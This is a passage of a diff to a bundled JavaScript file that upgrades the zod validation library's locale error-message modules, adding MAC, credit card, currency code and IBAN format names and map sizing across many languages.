(issue2.values.length === 1) + return `\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F: \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${stringifyPrimitive(issue2.values[0])}`; + return `\u0985\u09AC\u09C8\u09A7 \u0985\u09AA\u09B6\u09A8: ${joinValues(issue2.values, " | ")} \u098F\u09B0 \u09AE\u09A7\u09CD\u09AF\u09C7 \u098F\u0995\u099F\u09BF \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4`; + case "too_big": { + const adj = issue2.inclusive ? "<=" : "<"; + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "\u098F\u09B2\u09BF\u09AE\u09C7\u09A8\u09CD\u099F"} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09A8\u09C7\u0995 \u09AC\u09A1\u09BC: ${issue2.origin ?? "\u09AE\u09BE\u09A8"} ${adj}${issue2.maximum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "too_small": { + const adj = issue2.inclusive ? ">=" : ">"; + const sizing = getSizing(issue2.origin); + if (sizing) { + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} ${sizing.unit} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + return `\u0985\u09A8\u09C7\u0995 \u099B\u09CB\u099F: ${issue2.origin} ${adj}${issue2.minimum.toString()} \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.prefix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C1\u09B0\u09C1 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + } + if (_issue.format === "ends_with") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.suffix}" \u09A6\u09BF\u09AF\u09BC\u09C7 \u09B6\u09C7\u09B7 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "includes") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: "${_issue.includes}" \u0985\u09A8\u09CD\u09A4\u09B0\u09CD\u09AD\u09C1\u0995\u09CD\u09A4 \u09A5\u09BE\u0995\u09A4\u09C7 \u09B9\u09AC\u09C7`; + if (_issue.format === "regex") + return `\u0985\u09AC\u09C8\u09A7 \u09B8\u09CD\u099F\u09CD\u09B0\u09BF\u0982: ${_issue.pattern} \u09AA\u09CD\u09AF\u09BE\u099F\u09BE\u09B0\u09CD\u09A8 \u09AE\u09BF\u09B2\u09A4\u09C7 \u09B9\u09AC\u09C7`; + return `\u0985\u09AC\u09C8\u09A7 ${FormatDictionary[_issue.format] ?? issue2.format}`; + } + case "not_multiple_of": + return `\u0985\u09AC\u09C8\u09A7 \u09A8\u09AE\u09CD\u09AC\u09B0: ${issue2.divisor} \u098F\u09B0 \u0997\u09C1\u09A3\u09BF\u09A4\u0995 \u09B9\u09A4\u09C7 \u09B9\u09AC\u09C7`; + case "unrecognized_keys": + return `\u0985\u099A\u09C7\u09A8\u09BE \u0995\u09C0${issue2.keys.length > 1 ? "\u0997\u09C1\u09B2\u09CB" : ""}: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u0995\u09C0`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0985\u09AC\u09C8\u09A7 \u09A1\u09BF\u09B8\u0995\u09CD\u09B0\u09BF\u09AE\u09BF\u09A8\u09C7\u099F\u09B0 \u09AE\u09BE\u09A8\u0964 \u09AA\u09CD\u09B0\u09A4\u09CD\u09AF\u09BE\u09B6\u09BF\u09A4 ${opts}`; + } + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + case "invalid_element": + return `${issue2.origin} \u098F \u0985\u09AC\u09C8\u09A7 \u09AE\u09BE\u09A8`; + default: + return "\u0985\u09AC\u09C8\u09A7 \u0987\u09A8\u09AA\u09C1\u099F"; + } + }; +}; +function bn_default() { + return { + localeError: error5() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ca.js +var error6 = () => { const Sizable = { string: { unit: "car\xE0cters", verb: "contenir" }, file: { unit: "bytes", verb: "contenir" }, array: { unit: "elements", verb: "contenir" }, - set: { unit: "elements", verb: "contenir" } + set: { unit: "elements", verb: "contenir" }, + map: { unit: "elements", verb: "contenir" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -67979,12 +69092,16 @@ var error5 = () => { duration: "durada ISO", ipv4: "adre\xE7a IPv4", ipv6: "adre\xE7a IPv6", + mac: "adre\xE7a MAC", cidrv4: "rang IPv4", cidrv6: "rang IPv6", base64: "cadena codificada en base64", base64url: "cadena codificada en base64url", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de targeta de cr\xE8dit", + currency_code: "codi de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -68052,17 +69169,151 @@ var error5 = () => { }; function ca_default() { return { - localeError: error5() + localeError: error6() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/cs.js -var error6 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/ckb.js +var error7 = () => { + const Sizable = { + string: { unit: "\u067E\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u0628\u06CE\u062A" }, + array: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + set: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" }, + map: { unit: "\u062F\u0627\u0646\u06D5", verb: "\u0628\u06CE\u062A" } + }; + function getSizing(origin) { + return Sizable[origin] ?? null; + } + const FormatDictionary = { + regex: "regex", + email: "\u0626\u06CC\u0645\u06D5\u06CC\u06B5", + url: "\u0628\u06D5\u0633\u062A\u06D5\u0631 (URL)", + emoji: "\u0626\u06CC\u0645\u06C6\u062C\u06CC", + uuid: "UUID", + uuidv4: "UUIDv4", + uuidv6: "UUIDv6", + nanoid: "nanoid", + guid: "GUID", + cuid: "cuid", + cuid2: "cuid2", + ulid: "ULID", + xid: "XID", + ksuid: "KSUID", + datetime: "\u0695\u06CE\u06A9\u06D5\u0648\u062A \u0648 \u06A9\u0627\u062A", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + time: "\u06A9\u0627\u062A", + duration: "\u0645\u0627\u0648\u06D5", + ipv4: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv4", + ipv6: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC IPv6", + mac: "\u0646\u0627\u0648\u0646\u06CC\u0634\u0627\u0646\u06CC MAC", + cidrv4: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv4", + cidrv6: "\u0645\u06D5\u0648\u062F\u0627\u06CC IPv6", + base64: "\u062F\u06D5\u0642\u06CC base64", + base64url: "\u062F\u06D5\u0642\u06CC base64url", + json_string: "\u062F\u06D5\u0642\u06CC JSON", + e164: "\u0698\u0645\u0627\u0631\u06D5\u06CC E.164", + credit_card: "\u0698\u0645\u0627\u0631\u06D5\u06CC \u06A9\u0627\u0631\u062A\u06CC \u06A9\u0631\u06CE\u062F\u06CC\u062A", + currency_code: "\u06A9\u06C6\u062F\u06CC \u062F\u0631\u0627\u0648", + iban: "IBAN", + jwt: "JWT", + template_literal: "\u062A\u06CE\u06A9\u0631\u062F\u06D5" + }; + const TypeDictionary = { + nan: "NaN", + string: "\u0646\u0648\u0648\u0633\u06CC\u0646", + number: "\u0698\u0645\u0627\u0631\u06D5", + boolean: "boolean", + array: "array", + object: "object", + date: "\u0695\u06CE\u06A9\u06D5\u0648\u062A", + integer: "\u0698\u0645\u0627\u0631\u06D5", + float: "\u0698\u0645\u0627\u0631\u06D5", + null: "null", + undefined: "undefined", + function: "function", + symbol: "symbol", + unknown: "unknown", + promise: "promise", + void: "void", + never: "never", + map: "map", + set: "set" + }; + return (issue2) => { + switch (issue2.code) { + case "invalid_type": { + const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const receivedType = parsedType(issue2.input); + const received = TypeDictionary[receivedType] ?? receivedType; + const postfix = ["\u0627", "\u0648", "\u06C6", "\u0648\u0648", "\u06D5", "\u06CC", "\u06CE"].some((p) => received.endsWith(p)) ? "\u06CC\u06D5" : "\u06D5"; + const isEnglish = /^[a-zA-Z]+$/.test(received); + if (receivedType === "null" || receivedType === "undefined") + return `\u062F\u0627\u0648\u0627\u06A9\u0631\u0627\u0648\u06D5`; + return `\u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${expected} \u0628\u06CE\u062A\u060C \u0628\u06D5\u06B5\u0627\u0645 ${received}${isEnglish ? "" : postfix}`; + } + case "invalid_value": + if (issue2.values.length === 1) + return `\u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0648\u0633\u062A\u06D5: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 ${stringifyPrimitive(issue2.values[0])} \u0628\u06CE\u062A`; + return `\u0647\u06D5\u06B5\u0628\u0698\u0627\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648\u06D5 \u06CC\u06D5\u06A9\u06CE\u06A9 \u0628\u06CE\u062A \u0644\u06D5 ${joinValues(issue2.values, "|")}`; + case "too_big": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u0632\u06C6\u0631\u06D5\u0648\u06D5 ${issue2.maximum.toString()} \u0628\u06CE\u062A`; + } + case "too_small": { + const sizing = getSizing(issue2.origin); + if (sizing) + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} ${sizing.unit} ${sizing.verb}`; + return `\u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0628\u06D5 \u0644\u0627\u06CC\u06D5\u0646\u06CC \u06A9\u06D5\u0645\u06D5\u0648\u06D5 ${issue2.minimum.toString()} \u0628\u06CE\u062A`; + } + case "invalid_format": { + const _issue = issue2; + if (_issue.format === "starts_with") { + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u062F\u06D5\u0633\u062A\u067E\u06CE\u0628\u06A9\u0627\u062A \u0628\u06D5 "${_issue.prefix}"`; + } + if (_issue.format === "ends_with") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u06A9\u06C6\u062A\u0627\u06CC\u06CC\u0628\u06CE\u062A \u0628\u06D5 "${_issue.suffix}"`; + if (_issue.format === "includes") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 "${_issue.includes}" \u0644\u06D5\u062E\u06C6\u0628\u06AF\u0631\u06CE\u062A`; + if (_issue.format === "regex") + return `\u062F\u06D5\u0642\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u067E\u06CE\u0648\u06CC\u0633\u062A\u06D5 \u0644\u06D5\u06AF\u06D5\u06B5 \u067E\u0627\u062A\u06CE\u0631\u0646\u06CC ${_issue.pattern} \u0628\u06AF\u0648\u0646\u062C\u06CE\u062A`; + return `\u0628\u06D5\u0647\u0627\u06CC ${FormatDictionary[_issue.format] ?? issue2.format} \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + } + case "not_multiple_of": + return `\u0698\u0645\u0627\u0631\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A: \u062F\u06D5\u0628\u06CE\u062A \u0686\u06D5\u0646\u062F \u0647\u06CE\u0646\u062F\u06D5 \u0628\u06CE\u062A \u0628\u06C6 ${issue2.divisor}`; + case "unrecognized_keys": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648: ${joinValues(issue2.keys, ", ")}`; + case "invalid_key": + return `\u06A9\u0644\u06CC\u0644\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A \u0644\u06D5 ${issue2.origin}`; + case "invalid_union": + if (issue2.options && Array.isArray(issue2.options) && issue2.options.length > 0) { + const opts = issue2.options.map((o) => `'${o}'`).join(" | "); + return `\u0628\u06D5\u0647\u0627\u06CC \u0646\u06D5\u0646\u0627\u0633\u0631\u0627\u0648 \u0647\u06D5\u06CC\u06D5. \u0628\u06D5\u0647\u0627\u06CC \u0686\u0627\u0648\u06D5\u0695\u0648\u0627\u0646\u06A9\u0631\u0627\u0648: ${opts}`; + } + return "\u06CC\u06D5\u06A9\u06AF\u0631\u062A\u0646\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A"; + case "invalid_element": + return `${issue2.origin} \u0628\u06D5\u0647\u0627\u06A9\u06D5 \u0646\u0627\u062F\u0631\u0648\u0633\u062A\u06D5`; + default: + return `\u062A\u06CE\u06A9\u0631\u062F\u06D5\u06CC \u0646\u0627\u062F\u0631\u0648\u0633\u062A`; + } + }; +}; +function ckb_default() { + return { + localeError: error7() + }; +} + +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/cs.js +var error8 = () => { const Sizable = { string: { unit: "znak\u016F", verb: "m\xEDt" }, file: { unit: "bajt\u016F", verb: "m\xEDt" }, array: { unit: "prvk\u016F", verb: "m\xEDt" }, - set: { unit: "prvk\u016F", verb: "m\xEDt" } + set: { unit: "prvk\u016F", verb: "m\xEDt" }, + map: { unit: "prvk\u016F", verb: "m\xEDt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -68088,12 +69339,16 @@ var error6 = () => { duration: "doba trv\xE1n\xED ISO", ipv4: "IPv4 adresa", ipv6: "IPv6 adresa", + mac: "MAC adresa", cidrv4: "rozsah IPv4", cidrv6: "rozsah IPv6", base64: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64", base64url: "\u0159et\u011Bzec zak\xF3dovan\xFD ve form\xE1tu base64url", json_string: "\u0159et\u011Bzec ve form\xE1tu JSON", e164: "\u010D\xEDslo E.164", + credit_card: "\u010D\xEDslo kreditn\xED karty", + currency_code: "k\xF3d m\u011Bny", + iban: "IBAN", jwt: "JWT", template_literal: "vstup" }; @@ -68164,17 +69419,18 @@ var error6 = () => { }; function cs_default() { return { - localeError: error6() + localeError: error8() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/da.js -var error7 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/da.js +var error9 = () => { const Sizable = { string: { unit: "tegn", verb: "havde" }, file: { unit: "bytes", verb: "havde" }, array: { unit: "elementer", verb: "indeholdt" }, - set: { unit: "elementer", verb: "indeholdt" } + set: { unit: "elementer", verb: "indeholdt" }, + map: { unit: "elementer", verb: "indeholdt" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -68198,14 +69454,18 @@ var error7 = () => { date: "ISO-dato", time: "ISO-klokkesl\xE6t", duration: "ISO-varighed", - ipv4: "IPv4-omr\xE5de", - ipv6: "IPv6-omr\xE5de", + ipv4: "IPv4-adresse", + ipv6: "IPv6-adresse", + mac: "MAC-adresse", cidrv4: "IPv4-spektrum", cidrv6: "IPv6-spektrum", base64: "base64-kodet streng", base64url: "base64url-kodet streng", json_string: "JSON-streng", e164: "E.164-nummer", + credit_card: "kreditkortnummer", + currency_code: "valutakode", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -68280,17 +69540,18 @@ var error7 = () => { }; function da_default() { return { - localeError: error7() + localeError: error9() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/de.js -var error8 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/de.js +var error10 = () => { const Sizable = { string: { unit: "Zeichen", verb: "zu haben" }, file: { unit: "Bytes", verb: "zu haben" }, array: { unit: "Elemente", verb: "zu haben" }, - set: { unit: "Elemente", verb: "zu haben" } + set: { unit: "Elemente", verb: "zu haben" }, + map: { unit: "Elemente", verb: "zu haben" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -68316,12 +69577,16 @@ var error8 = () => { duration: "ISO-Dauer", ipv4: "IPv4-Adresse", ipv6: "IPv6-Adresse", + mac: "MAC-Adresse", cidrv4: "IPv4-Bereich", cidrv6: "IPv6-Bereich", base64: "Base64-codierter String", base64url: "Base64-URL-codierter String", json_string: "JSON-String", e164: "E.164-Nummer", + credit_card: "Kreditkartennummer", + currency_code: "W\xE4hrungscode", + iban: "IBAN", jwt: "JWT", template_literal: "Eingabe" }; @@ -68389,12 +69654,12 @@ var error8 = () => { }; function de_default() { return { - localeError: error8() + localeError: error10() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/el.js -var error9 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/el.js +var error11 = () => { const Sizable = { string: { unit: "\u03C7\u03B1\u03C1\u03B1\u03BA\u03C4\u03AE\u03C1\u03B5\u03C2", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, file: { unit: "bytes", verb: "\u03BD\u03B1 \u03AD\u03C7\u03B5\u03B9" }, @@ -68433,6 +69698,9 @@ var error9 = () => { base64url: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC \u03BA\u03C9\u03B4\u03B9\u03BA\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03B7 \u03C3\u03B5 base64url", json_string: "\u03C3\u03C5\u03BC\u03B2\u03BF\u03BB\u03BF\u03C3\u03B5\u03B9\u03C1\u03AC JSON", e164: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 E.164", + credit_card: "\u03B1\u03C1\u03B9\u03B8\u03BC\u03CC\u03C2 \u03C0\u03B9\u03C3\u03C4\u03C9\u03C4\u03B9\u03BA\u03AE\u03C2 \u03BA\u03AC\u03C1\u03C4\u03B1\u03C2", + currency_code: "\u03BA\u03C9\u03B4\u03B9\u03BA\u03CC\u03C2 \u03BD\u03BF\u03BC\u03AF\u03C3\u03BC\u03B1\u03C4\u03BF\u03C2", + iban: "IBAN", jwt: "JWT", template_literal: "\u03B5\u03AF\u03C3\u03BF\u03B4\u03BF\u03C2" }; @@ -68499,12 +69767,12 @@ var error9 = () => { }; function el_default() { return { - localeError: error9() + localeError: error11() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/en.js -var error10 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/en.js +var error12 = () => { const Sizable = { string: { unit: "characters", verb: "to have" }, file: { unit: "bytes", verb: "to have" }, @@ -68543,6 +69811,9 @@ var error10 = () => { base64url: "base64url-encoded string", json_string: "JSON string", e164: "E.164 number", + currency_code: "currency code", + credit_card: "credit card number", + iban: "IBAN", jwt: "JWT", template_literal: "input" }; @@ -68551,12 +69822,18 @@ var error10 = () => { nan: "NaN" // All other type names omitted - they fall back to raw values via ?? operator }; + function getTypeName(type, input2) { + if (type === "number" && typeof input2 === "number" && !Number.isFinite(input2)) { + return String(input2); + } + return TypeDictionary[type] ?? type; + } return (issue2) => { switch (issue2.code) { case "invalid_type": { - const expected = TypeDictionary[issue2.expected] ?? issue2.expected; + const expected = getTypeName(issue2.expected); const receivedType = parsedType(issue2.input); - const received = TypeDictionary[receivedType] ?? receivedType; + const received = getTypeName(receivedType, issue2.input); return `Invalid input: expected ${expected}, received ${received}`; } case "invalid_value": @@ -68564,14 +69841,14 @@ var error10 = () => { return `Invalid input: expected ${stringifyPrimitive(issue2.values[0])}`; return `Invalid option: expected one of ${joinValues(issue2.values, "|")}`; case "too_big": { - const adj = issue2.inclusive ? "<=" : "<"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? "<=" : "<"; const sizing = getSizing(issue2.origin); if (sizing) return `Too big: expected ${issue2.origin ?? "value"} to have ${adj}${issue2.maximum.toString()} ${sizing.unit ?? "elements"}`; return `Too big: expected ${issue2.origin ?? "value"} to be ${adj}${issue2.maximum.toString()}`; } case "too_small": { - const adj = issue2.inclusive ? ">=" : ">"; + const adj = issue2.exact ? "exactly " : issue2.inclusive ? ">=" : ">"; const sizing = getSizing(issue2.origin); if (sizing) { return `Too small: expected ${issue2.origin} to have ${adj}${issue2.minimum.toString()} ${sizing.unit}`; @@ -68602,6 +69879,9 @@ var error10 = () => { const opts = issue2.options.map((o) => `'${o}'`).join(" | "); return `Invalid discriminator value. Expected ${opts}`; } + if (issue2.inclusive === false) { + return "Invalid input: more than one option matched"; + } return "Invalid input"; case "invalid_element": return `Invalid value in ${issue2.origin}`; @@ -68612,17 +69892,18 @@ var error10 = () => { }; function en_default() { return { - localeError: error10() + localeError: error12() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/eo.js -var error11 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/eo.js +var error13 = () => { const Sizable = { string: { unit: "karaktrojn", verb: "havi" }, file: { unit: "bajtojn", verb: "havi" }, array: { unit: "elementojn", verb: "havi" }, - set: { unit: "elementojn", verb: "havi" } + set: { unit: "elementojn", verb: "havi" }, + map: { unit: "elementojn", verb: "havi" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -68648,12 +69929,16 @@ var error11 = () => { duration: "ISO-da\u016Dro", ipv4: "IPv4-adreso", ipv6: "IPv6-adreso", + mac: "MAC-adreso", cidrv4: "IPv4-rango", cidrv6: "IPv6-rango", base64: "64-ume kodita karaktraro", base64url: "URL-64-ume kodita karaktraro", json_string: "JSON-karaktraro", e164: "E.164-nombro", + credit_card: "kreditkarta numero", + currency_code: "valuta kodo", + iban: "IBAN", jwt: "JWT", template_literal: "enigo" }; @@ -68722,12 +70007,12 @@ var error11 = () => { }; function eo_default() { return { - localeError: error11() + localeError: error13() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/es.js -var error12 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/es.js +var error14 = () => { const Sizable = { string: { unit: "caracteres", verb: "tener" }, file: { unit: "bytes", verb: "tener" }, @@ -68758,12 +70043,16 @@ var error12 = () => { duration: "duraci\xF3n ISO", ipv4: "direcci\xF3n IPv4", ipv6: "direcci\xF3n IPv6", + mac: "direcci\xF3n MAC", cidrv4: "rango IPv4", cidrv6: "rango IPv6", base64: "cadena codificada en base64", base64url: "URL codificada en base64", json_string: "cadena JSON", e164: "n\xFAmero E.164", + credit_card: "n\xFAmero de tarjeta de cr\xE9dito", + currency_code: "c\xF3digo de moneda", + iban: "IBAN", jwt: "JWT", template_literal: "entrada" }; @@ -68855,17 +70144,18 @@ var error12 = () => { }; function es_default() { return { - localeError: error12() + localeError: error14() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fa.js -var error13 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fa.js +var error15 = () => { const Sizable = { string: { unit: "\u06A9\u0627\u0631\u0627\u06A9\u062A\u0631", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, file: { unit: "\u0628\u0627\u06CC\u062A", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, array: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, - set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } + set: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" }, + map: { unit: "\u0622\u06CC\u062A\u0645", verb: "\u062F\u0627\u0634\u062A\u0647 \u0628\u0627\u0634\u062F" } }; function getSizing(origin) { return Sizable[origin] ?? null; @@ -68891,12 +70181,16 @@ var error13 = () => { duration: "\u0645\u062F\u062A \u0632\u0645\u0627\u0646 \u0627\u06CC\u0632\u0648", ipv4: "IPv4 \u0622\u062F\u0631\u0633", ipv6: "IPv6 \u0622\u062F\u0631\u0633", + mac: "MAC \u0622\u062F\u0631\u0633", cidrv4: "IPv4 \u062F\u0627\u0645\u0646\u0647", cidrv6: "IPv6 \u062F\u0627\u0645\u0646\u0647", base64: "base64-encoded \u0631\u0634\u062A\u0647", base64url: "base64url-encoded \u0631\u0634\u062A\u0647", json_string: "JSON \u0631\u0634\u062A\u0647", e164: "E.164 \u0639\u062F\u062F", + credit_card: "\u0634\u0645\u0627\u0631\u0647 \u06A9\u0627\u0631\u062A \u0627\u0639\u062A\u0628\u0627\u0631\u06CC", + currency_code: "\u06A9\u062F \u0627\u0631\u0632", + iban: "IBAN", jwt: "JWT", template_literal: "\u0648\u0631\u0648\u062F\u06CC" }; @@ -68970,17 +70264,18 @@ var error13 = () => { }; function fa_default() { return { - localeError: error13() + localeError: error15() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fi.js -var error14 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fi.js +var error16 = () => { const Sizable = { string: { unit: "merkki\xE4", subject: "merkkijonon" }, file: { unit: "tavua", subject: "tiedoston" }, array: { unit: "alkiota", subject: "listan" }, set: { unit: "alkiota", subject: "joukon" }, + map: { unit: "alkiota", subject: "kuvauksen" }, number: { unit: "", subject: "luvun" }, bigint: { unit: "", subject: "suuren kokonaisluvun" }, int: { unit: "", subject: "kokonaisluvun" }, @@ -69010,12 +70305,16 @@ var error14 = () => { duration: "ISO-kesto", ipv4: "IPv4-osoite", ipv6: "IPv6-osoite", + mac: "MAC-osoite", cidrv4: "IPv4-alue", cidrv6: "IPv6-alue", base64: "base64-koodattu merkkijono", base64url: "base64url-koodattu merkkijono", json_string: "JSON-merkkijono", e164: "E.164-luku", + credit_card: "luottokortin numero", + currency_code: "valuuttakoodi", + iban: "IBAN", jwt: "JWT", template_literal: "templaattimerkkijono" }; @@ -69083,12 +70382,12 @@ var error14 = () => { }; function fi_default() { return { - localeError: error14() + localeError: error16() }; } -// node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/locales/fr.js -var error15 = () => { +// node_modules/.pnpm/zod@4.6.6/node_modules/zod/v4/locales/fr.js +var error17 = () => { const Sizable = { string: { unit: "caract\xE8res", verb: "avoir" }, file: { unit: "octets", verb: "avoir" }, @@ -69099,7 +70398,7 @@ var error15 = () => { return Sizable[origin] ?? null; } const FormatDictionary = { - regex: "entr\xE9e", + regex: "expression r\xE9guli\xE8re", email: "adresse e-mail", url: "URL", emoji: "emoji", @@ -69119,17 +70418,21 @@ var error15 = () => { duration: "dur\xE9e ISO", ipv4: "adresse IPv4", ipv6: "adresse IPv6", + mac: "adresse MAC", cidrv4: "plage IPv4", cidrv6: "plage IPv6", - base64: "cha\xEEne encod\xE9e en base64", - base64url: "cha\xEEne encod\xE9e en base64url", - json_string: "cha\xEEne JSON", - e164: "num\xE9ro E.164", + base64: "cha\xEEne de caract\xE8res encod\xE9e en base64", + base64url: "cha\xEEne de caract\xE8res encod\xE9e en base64url", + json_string: "cha\xEEne de caract\xE8res JSON", + e164: "num\xE9ro au format E.164", + credit_card: "num\xE9ro de carte de cr\xE9dit", + currency_code: "code de devise", + iban: "IBAN", jwt: "JWT", template_literal: "entr\xE9e" }; const TypeDictionary = { - string: "cha\xEEne", + string: "cha\xEEne de caract\xE8res", number: "nombre", int: "entier", boolean: "bool\xE9en", @@ -69143,11 +70446,11 @@ var error15 = () => { array: "tableau", object: "objet", tuple: "tuple", - record: "enregistrement", - map: "carte", + record: "record", + map: "map", set: "ensemble", file: "fichier", - nonoptional: "non-optionnel", + nonoptional: "non optionnel", nan: "NaN", function: "fonction" }; @@ -69158,7 +70461,7 @@ var error15 = () => { const receivedType = parsedType(issue2.input); const received = TypeDictionary[receivedType] ?? receivedType; if (/^[A-Z]/.test(issue2.expected)) { - return `Entr\xE9e invalide : instanceof ${issue2.expected} attendu, ${received} re\xE7u`; + return `Entr\xE9e invalide : instance de ${issue2.expected} attendu, 